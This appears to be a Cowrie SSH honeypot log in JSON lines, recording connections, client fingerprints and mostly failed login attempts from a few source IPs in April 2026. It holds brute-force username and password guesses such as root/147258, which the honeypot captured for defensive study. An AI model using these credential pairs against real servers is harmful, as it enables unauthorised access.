{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.258754Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":42306,"dst_ip":"159.203.135.109","dst_port":22,"session":"0ea0d8be6a96","protocol":"ssh","message":"New connection: 170.79.37.88:42306 (159.203.135.109:22) [session: 0ea0d8be6a96]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.352607Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.356331Z","src_ip":"170.79.37.88","session":"0ea0d8be6a96","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.455703Z","src_ip":"170.79.37.88","session":"0ea0d8be6a96","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:46:58.897452Z","src_ip":"170.79.37.88","session":"0ea0d8be6a96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.003546Z","src_ip":"170.79.37.88","session":"0ea0d8be6a96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":42310,"dst_ip":"159.203.135.109","dst_port":22,"session":"e0c5fe73e64b","protocol":"ssh","message":"New connection: 170.79.37.88:42310 (159.203.135.109:22) [session: e0c5fe73e64b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.106094Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.111922Z","src_ip":"170.79.37.88","session":"e0c5fe73e64b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.226205Z","src_ip":"170.79.37.88","session":"e0c5fe73e64b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36338,"dst_ip":"159.203.135.109","dst_port":22,"session":"6bc1ce0276f4","protocol":"ssh","message":"New connection: 192.109.200.78:36338 (159.203.135.109:22) [session: 6bc1ce0276f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.439113Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.551841Z","src_ip":"192.109.200.78","session":"6bc1ce0276f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.557989Z","src_ip":"192.109.200.78","session":"6bc1ce0276f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.675545Z","src_ip":"170.79.37.88","session":"e0c5fe73e64b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.782057Z","src_ip":"170.79.37.88","session":"331e16fe58d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.801672Z","src_ip":"170.79.37.88","session":"e0c5fe73e64b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"147258","message":"login attempt [root/147258] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:00.927365Z","src_ip":"192.109.200.78","session":"6bc1ce0276f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:02.015804Z","src_ip":"192.109.200.78","session":"6bc1ce0276f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":36344,"dst_ip":"159.203.135.109","dst_port":22,"session":"133471525bd7","protocol":"ssh","message":"New connection: 192.109.200.78:36344 (159.203.135.109:22) [session: 133471525bd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:04.582741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:04.587996Z","src_ip":"192.109.200.78","session":"133471525bd7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:04.674473Z","src_ip":"192.109.200.78","session":"133471525bd7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chris","password":"chris","message":"login attempt [chris/chris] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:04.925010Z","src_ip":"192.109.200.78","session":"133471525bd7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:06.113865Z","src_ip":"192.109.200.78","session":"133471525bd7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34976,"dst_ip":"159.203.135.109","dst_port":22,"session":"ae721455a8d6","protocol":"ssh","message":"New connection: 192.109.200.78:34976 (159.203.135.109:22) [session: ae721455a8d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:08.515326Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:08.520096Z","src_ip":"192.109.200.78","session":"ae721455a8d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:08.671387Z","src_ip":"192.109.200.78","session":"ae721455a8d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"myuser","password":"123456","message":"login attempt [myuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:09.021163Z","src_ip":"192.109.200.78","session":"ae721455a8d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:10.109195Z","src_ip":"192.109.200.78","session":"ae721455a8d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34986,"dst_ip":"159.203.135.109","dst_port":22,"session":"a6ae8ddc8d43","protocol":"ssh","message":"New connection: 192.109.200.78:34986 (159.203.135.109:22) [session: a6ae8ddc8d43]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:12.644212Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:12.649799Z","src_ip":"192.109.200.78","session":"a6ae8ddc8d43","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:12.812776Z","src_ip":"192.109.200.78","session":"a6ae8ddc8d43","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vss","password":"vss","message":"login attempt [vss/vss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:13.061033Z","src_ip":"192.109.200.78","session":"a6ae8ddc8d43","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":49078,"dst_ip":"159.203.135.109","dst_port":22,"session":"a66f9874660c","protocol":"ssh","message":"New connection: 159.203.92.129:49078 (159.203.135.109:22) [session: a66f9874660c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:13.629211Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:13.799994Z","src_ip":"159.203.92.129","session":"a66f9874660c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:13.807263Z","src_ip":"159.203.92.129","session":"a66f9874660c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Sabbil","password":"123456","message":"login attempt [Sabbil/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:14.128962Z","src_ip":"159.203.92.129","session":"a66f9874660c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:14.180862Z","src_ip":"192.109.200.78","session":"a6ae8ddc8d43","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:15.195145Z","src_ip":"159.203.92.129","session":"a66f9874660c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.78","src_port":34990,"dst_ip":"159.203.135.109","dst_port":22,"session":"267c8c44c760","protocol":"ssh","message":"New connection: 192.109.200.78:34990 (159.203.135.109:22) [session: 267c8c44c760]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:16.815350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:16.819781Z","src_ip":"192.109.200.78","session":"267c8c44c760","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:17.037501Z","src_ip":"192.109.200.78","session":"267c8c44c760","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tesTtest123a","message":"login attempt [root/tesTtest123a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:17.287424Z","src_ip":"192.109.200.78","session":"267c8c44c760","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:47:18.372444Z","src_ip":"192.109.200.78","session":"267c8c44c760","protocol":"ssh"}
